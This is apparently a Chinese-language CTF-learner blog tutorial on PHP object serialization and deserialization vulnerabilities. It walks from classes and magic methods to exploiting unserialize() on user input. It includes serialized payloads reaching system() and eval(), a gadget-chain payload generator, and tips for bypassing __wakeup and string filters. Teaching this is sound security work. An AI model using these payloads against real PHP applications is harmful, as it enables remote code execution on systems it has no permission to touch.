MonianHello 2022.10
很明显,从上次面试到现在依旧没学会利用反序列化漏洞,特此从0开始详解反序列化漏洞。
一、类与对象
在说序列化和反序列化之前,先把php的类与对象捋一遍:
类是对象的抽象,对象是类的实例
有这样一个很简单的例子:类是动物,对象是鸡、鸭、鹅、狗、猫……
动物可以有以下特征:名字、颜色、重量……
动物也可以有这些行为:吃饭、喝水、睡觉……
我们来用php代码实现一下:
<?php
class 动物 {
var $姓名;
var $颜色;
function 命名($输入值){
$this->姓名 = $输入值;}
function 你叫啥啊(){
echo $this->姓名;}
function 染色($输入值){
$this->颜色 = $输入值;}
function 你啥色啊(){
echo $this->颜色;}
}
我们创建了一个动物类,类的成员变量有“姓名”和“颜色”,类的成员函数有“命名”、“你叫啥啊”、“染色”和“你啥色啊”。很好理解,前面定义变量,后面就跟上相应的功能(输入和打印)。当然,现在只是创建了类,想要用上类还需要实例化该类的对象。
$猫猫 = new 动物;
$狗狗 = new 动物;
使用new创建了动物类的两个对象:猫猫和狗狗,现在就可以开始用类的函数来控制对象了
$猫猫->命名("加菲");
$狗狗->命名("欧弟");
$猫猫->染色("橙的");
$狗狗->染色("黑的");
调用猫猫、狗狗的命名、染色函数,为这两个互相独立的对象赋值。
$猫猫->你啥色啊();
$狗狗->你啥色啊();
$猫猫->你叫啥啊();
$狗狗->你叫啥啊();
调用猫猫、狗狗的你啥色啊、你叫啥啊函数,得到这两个对象的变量值。
输出:
橙的黑的加菲欧弟
二、序列化
初步了解类与对象后,就可以来看看序列化了
首先是序列化的定义:
将一个对象保存到一个字符串中
就拿刚才的例子,我们将猫猫和狗狗分别序列化
$猫猫 = serialize($猫猫);
var_dump($猫猫);
$狗狗 = serialize($狗狗);
var_dump($狗狗);
输出:
string(69) "O:6:"动物":2:{s:6:"姓名";s:6:"加菲";s:6:"颜色";s:6:"橙的";}"
string(69) "O:6:"动物":2:{s:6:"姓名";s:6:"欧弟";s:6:"颜色";s:6:"黑的";}"
各个部分数组的含义,可以移步zhuanlan.zhihu.com/p/377676274具体查看,这里不再赘述。但值得一提的是,serialize()函数只序列化类的属性,不序列化类的方法。
三、反序列化
反序列化的定义不难猜出,是:
将序列化后的字符串转换回对象
把反序列化得到的字符串再反序列化回去
//猫猫.txt
//O:6:"动物":2:{s:6:"姓名";s:6:"加菲";s:6:"颜色";s:6:"橙的";}
$宠物 = unserialize(file_get_contents('猫猫.txt'));
print_r($宠物);
就能得到
动物 Object ( [姓名] => 加菲 [颜色] => 橙的 )
拿本次月赛题目举例(稍微简化了一下原题目):
<?php
class cwm{
public $a;
public $b;
public function run(){
$test=$this->a;
$test($this->b);}}
$NEUQCSA=$_GET['NEUQCSA'];
$temp=unserialize($NEUQCSA);
$temp->run();
其中cwm类的run()函数会执行动态函数a(b),并且在反序列化后会直接执行对象的run()函数。相当于只要传入a、b两个值就可以执行a(b)的php代码。
<?php
class cwm{
public $a='system';
public $b='echo monian here~';
}
$lyw=new cwm();
echo serialize($lyw);
//O:3:"cwm":2:{s:1:"a";s:6:"system";s:1:"b";s:17:"echo monian here~";}
即可实现显示monian here~
四、魔术方法
哎呀,怎么又来了一个魔术方法,这又是什么?
别急,让我先急。我来举个例子:
<?php
class 狗狗{
public function __construct(){
echo "汪!";}}
$欧弟 = new 狗狗;
其中以双下划线开头的特殊函数就被称为魔术方法。
当然,我们只创建了欧弟这个对象,并没有调用成员函数,按理来说不会回显“汪!”。但实际运行一下,却能发现“汪”被打印了出来,这是为啥?
construct直译过来就是建筑;修建;建造的意思,__construct()被称为构造函数。一个对象被实例化的时候,就会自动调用这个函数。也就是说,我们在new 狗狗的时候,就相当于执行了一次 __construct()函数。
这东西在实际运用中十分常见,比方说我们刚才还需要运行专门的函数去给猫猫狗狗命名,现在使用__construct()就可以在实例化对象的同时顺便把名字起了。
<?php
class 动物 {
var $姓名;
function __construct($输入值){
$this->姓名 = $输入值;}
function 你叫啥啊(){
echo $this->姓名;}
}
$猫猫 = new 动物("加菲");
$狗狗 = new 动物("欧弟");
$猫猫->你叫啥啊();
$狗狗->你叫啥啊();
与构造函数相反,__destruct()被称为析构函数。当对象结束其生命周期时,系统会自动执行析构函数。
可以用一个小例子来观察一下在什么时候会调用这两个函数:
<?php
class test{
public function __construct(){
echo "执行了一次构造函数<br>";
}
public function __destruct(){
echo "执行了一次析构函数<br>";
}
}
echo "new test();<br>";
$a = new test();
echo "----------------<br>";
echo "serialize();<br>";
$b = serialize($a);
echo "----------------<br>";
echo "unserialize();<br>";
unserialize($b);
echo "----------------<br>";
echo "程序结束<br>";
?>
可以得到:
new test();
执行了一次构造函数
----------------
serialize();
----------------
unserialize();
执行了一次析构函数
----------------
程序结束
执行了一次析构函数
因此可知:
__construct()只会在创建对象时触发,在序列化和反序列化的过程中都不会触发
__destruct()会在实例化的时创建的对象,反序列化后生成的对象销毁时触发
魔术方法还有:
- __construct(),类的构造函数
- __destruct(),类的析构函数
- __call(),在对象中调用一个不可访问方法时调用
- __callStatic(),用静态方式中调用一个不可访问方法时调用
- __get(),获得一个类的成员变量时调用
- __set(),设置一个类的成员变量时调用
- __isset(),当对不可访问属性调用isset()或empty()时调用
- __unset(),当对不可访问属性调用unset()时被调用。
- __sleep(),执行serialize()时,先会调用这个函数
- __wakeup(),执行unserialize()时,先会调用这个函数
- __toString(),类被当成字符串时的回应方法
- __invoke(),调用函数的方式调用一个对象时的回应方法
- __set_state(),调用var_export()导出类时,此静态方法会被调用。
- __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
好多,记不住,咋办啊啊啊啊啊啊啊
现用现查呗https://baijiahao.baidu.com/s?id=1699102059551590710
五、反序列化漏洞
说了这么多,终于开始讲反序列化漏洞了。一句话说就是:
由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的漏洞
例:
<?php
class main {
public $a;
public function __construct(){
$this->a = new byebye();
}
public function __destruct(){
$this->a->do();
}
}
class byebye {
public function do(){
echo "Get out BabyHacker!";
}
}
class flag {
var $b;
public function do(){
eval($this->b);
}
}
unserialize($_GET["A"]);
简要分析一下,main类的对象创建时让a=byebye的实例,在对象销毁时运行a->do()。
byebye类和flag类都含有do()函数,能解题的是flag类。
因此我们的目的就是让main类的a=flag的实例,同时让flag类中的b=我们要执行的代码。
一开始,我们能想到的代码应该是这样的:
<?php
class main {
public $a = new flag;
}
class flag{
public $b = "phpinfo;";
}
$monian = new main;
echo(urlencode(serialize($monian)));//url编码一下再echo
想法是正确的,但是代码写的不对。因为静态属性只能使用文字或常量进行初始化,不允许用表达式。
我们可以再写一个函数用于给$a赋值,可以用刚刚学的构造函数。这里为了直观就不使用__construct()了
<?php
class main {
public $a;
public function hack(){
$this->a = new flag;
}
}
class flag{
public $b = "phpinfo();";
}
$monian = new main;
$monian->hack();
echo(urlencode(serialize($monian)));//url编码一下再echo
这样只要在实例化对象后再执行一下hack()就可以序列化了
测试一下,成功运行
一些技巧:
__wakeup()函数可以使用更改成员数量进行绕过
过滤可以大写S(String)来使用十六进制进行绕过
Comments | NOTHING